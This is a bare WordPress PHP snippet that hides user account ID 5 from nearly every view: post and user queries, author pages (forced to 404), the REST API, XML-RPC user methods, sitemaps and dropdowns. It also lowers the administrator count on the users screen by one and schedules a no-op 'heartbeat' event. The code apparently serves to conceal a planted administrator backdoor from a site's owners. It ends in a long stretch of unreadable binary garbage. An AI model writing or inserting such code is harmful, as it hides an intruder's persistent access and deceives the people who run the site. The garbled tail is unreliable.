add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 5;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 5 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 5 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 5;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 5;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 5;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/5(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 5;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
՝͎#r6wP;+d!$]a
*N2Vi=Yfo0H}Ym]Q-8?n]W৫n5_.Va_/՟}?Uiw˫W՟?_K;t>OC->7nZ]{|6Wnv_~u^?>/
ipS_M&3sOe}]MwOfYOd^i|XmorXM֫n֓'"O1>7->ۮ/_>f;~?~ៗiXo_M/監fvOrGhXM;/./Gp`'Ue{ Py+c.N]mč.Z
S.}trK
NÍi
nnLbF4oF/MyH]'>M)(a=GIn JNփPO=q wT7ɉ'zn]&d}&]aTqpJ11}mcpAF
=HܤO)$#nkH*n'lZqC$J
iX{P
y=X]kryX;~Z4o.F|=zЊۓq1hxވ>CmdWUc_l؊bc{85N+nl/TlwPooijnƎ$~S?>sO*rhs>Qsy:}Nk+V;drѩ()Z iIϏWGvHH^
=Ůq=7F}"}|F1;}p
6$b$r|#:&*y)=w&/9^E%!PAWy[q;8V
Je#➏lxz5őWQG&nvݗ l87E&'9Tw8ƑjMYD1&E>qlY͍FM9pTa=Q;2!iyX;o4N`K}*QSt-;tEٲ\AN/NC
0\T4J^|H敉w^cz>=Eܓ|ImBH20
=;$lp5ۃܠ}>K?,z.alUbФ_ۻtI'WR |܁kM=lj߃fj#1TscQc8O%K8]Fб.dj"$8Td^)J>fpZI
x.1l-)zcW|FtG.Y# Ӂ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